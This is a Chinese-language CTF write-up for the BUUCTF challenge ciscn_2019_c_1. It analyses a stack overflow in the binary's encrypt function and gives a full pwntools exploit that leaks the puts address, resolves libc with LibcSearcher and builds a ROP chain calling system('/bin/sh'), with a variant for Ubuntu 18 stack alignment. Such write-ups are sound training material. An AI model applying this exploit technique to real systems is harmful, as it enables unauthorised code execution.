BUUCTF ciscn_2019_c_1(rop_x64,泄露libc)

由于Ubuntu18运行机制与前面版本的不同,在调用system的时候需要进行栈对齐

0x1 检查文件

BUUCTF ciscn_2019_c_1(rop_x64,泄露libc)_第1张图片

  • 64位elf
  • 无canary
  • 无PIE

0x02 流程分析

BUUCTF ciscn_2019_c_1(rop_x64,泄露libc)_第2张图片
根据运行的流程,这个程序主要有两个功能,加密功能可以使用,但解密功能没办法使用,并且能够输入的地方就两个,一个选择程序,数字输入,第二个输入加密文本,字符串类型,之后的静态分析主要关注这两个地方。

0x02 静态分析

BUUCTF ciscn_2019_c_1(rop_x64,泄露libc)_第3张图片
  经过分析,主要漏洞点在加密函数之中,可以看到输入s时没有经过边界检查,存在栈溢出漏洞,搜寻程序也没有可用的后门函数,需要自己泄露libc版本并构建ROP链。
  值得注意的是,函数里面有一个变量x,这个x代表这输入的数据是否需要加密,当我们输入字符串长度比原有x大的时候才会加密,加密函数很简单,只是一个异或操作,可以直接将语法改一下添加到exp里面。

0x04 思路分析

  由于程序没有可用的后门函数,但有puts这个函数,就可以通过构造rop泄露出libc的版本和函数地址,利用LibcSearcher或者DynELF可以查到libc的版本,之后获取libc里面的地址构造ROP链,获取shell。
  由于两次的payload长度是一样的,加密函数里面的x经过第一个payload之后,值已经改变,第二次payload输入是不会被加密的,可直接使用。

exp

from pwn import *
from LibcSearcher import *

def encrypt(string):
    newstr = list(string)
    for i in range(len(newstr)):
        c = ord(string[i])
        if c <= 96 or c > 122:
            if c <= 64 or c > 90:
                if c > 47 and c <= 57:
                    c ^= 0xF
            else:
               c ^= 0xE
        else:
            c ^= 0xD
        newstr[i] = chr(c)
    return ''.join(newstr)
#p = remote('node3.buuoj.cn',29403)
p = process('./ciscn_2019_c_1')
elf = ELF('./ciscn_2019_c_1')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0000000000400C83 #一个万能的gadget,x64程序基本都存在,pop rdi;ret;
#start_addr = 0x0000000000400790
main_addr = 0x000000000400B28 #主函数地址
p.recv()
p.sendline('1')
p.recvuntil('encrypted\n')
#泄露puts实际地址
payload = '1'*0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.sendline(encrypt(payload))

#print encrypt(payload)

p.recvuntil('Ciphertext\n')
p.recvuntil('\n')
#接受puts的实际地址
addr = u64(p.recvuntil('\n', drop=True).ljust(8,'\x00'))

#print "addr=", hex(addr)
#此处搜寻到的libc是本机的libc-2.23.so,需要自行添加到database,
#具体方法可上github,搜寻libc_database项目
libc = LibcSearcher('puts', addr)
libcbase = addr - libc.dump('puts')

#print 'str_bin_sh=',hex(libc.dump('str_bin_sh'))
#print libc.dump('system')

p.recv()
p.sendline('1')
p.recvuntil('encrypted\n')
sys_addr = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
#下面为正常脚本,可以在kali中拿到shell,如果是Ubuntu18,需要在里面加ret进行栈对齐
payload = '1'*0x58+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
ret = 0x4006b9
payload_Ubuntu18 = '1'*0x58+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

你可能感兴趣的:(ctf_pwn)